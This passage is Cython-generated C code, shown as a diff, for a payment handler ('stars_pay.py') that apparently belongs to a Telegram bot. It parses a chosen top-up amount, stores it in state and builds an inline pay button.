/* "handlers/payments/stars_pay.py":115 + * + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":108 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + } + + /* "handlers/payments/stars_pay.py":117 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_2 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_6, &__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_5); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":119 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * try: + */ + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L29_try_end; + __pyx_L24_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":120 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 120, __pyx_L26_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":122 + * except ValueError: + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_delete); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L40_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_22); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 122, __pyx_L32_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 122, __pyx_L32_error) + } + } + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_22); __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_21); __pyx_t_21 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L39_try_end; + __pyx_L32_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/stars_pay.py":123 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_14, &__pyx_t_13) < 0) __PYX_ERR(0, 123, __pyx_L34_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_e = __pyx_t_14; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":124 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer(" .") + */ + __Pyx_GetModuleGlobalName(__pyx_t_23, __pyx_n_s_logger); if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_t_24 = __Pyx_PyObject_GetAttrStr(__pyx_t_23, __pyx_n_s_error); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_24); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __pyx_t_23 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_t_25 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_23); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_25); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __pyx_t_23 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_24))) { + __pyx_t_23 = PyMethod_GET_SELF(__pyx_t_24); + if (likely(__pyx_t_23)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_24); + __Pyx_INCREF(__pyx_t_23); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_24, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_23, __pyx_t_25}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_24, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; + } + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + + /* "handlers/payments/stars_pay.py":123 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L47; + } + __pyx_L46_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; __pyx_t_29 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_27, &__pyx_t_28, &__pyx_t_29); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_29); + __pyx_t_15 = __pyx_lineno; __pyx_t_10 = __pyx_clineno; __pyx_t_26 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_29); + __Pyx_ExceptionReset(__pyx_t_27, __pyx_t_28, __pyx_t_29); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_18, __pyx_t_17); + __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; __pyx_t_29 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_10; __pyx_filename = __pyx_t_26; + goto __pyx_L34_except_error; + } + __pyx_L47:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L33_exception_handled; + } + goto __pyx_L34_except_error; + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L34_except_error:; + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + goto __pyx_L26_except_error; + __pyx_L33_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + __pyx_L39_try_end:; + } + + /* "handlers/payments/stars_pay.py":126 + * logger.error(f" : {e}") + * + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__12}; + __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_13); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L52_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_8); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L26_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 126, __pyx_L26_except_error) + } + } + + /* "handlers/payments/stars_pay.py":127 + * + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L27_except_return; + } + goto __pyx_L26_except_error; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L26_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_6, __pyx_t_5); + goto __pyx_L1_error; + __pyx_L27_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_6, __pyx_t_5); + goto __pyx_L0; + __pyx_L29_try_end:; + } + + /* "handlers/payments/stars_pay.py":129 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L53_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 129, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 129, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":130 + * + * await state.update_data(amount=amount) + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L54_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 130, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 130, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":132 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":133 + * + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", pay=True), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":134 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", pay=True), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":135 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) 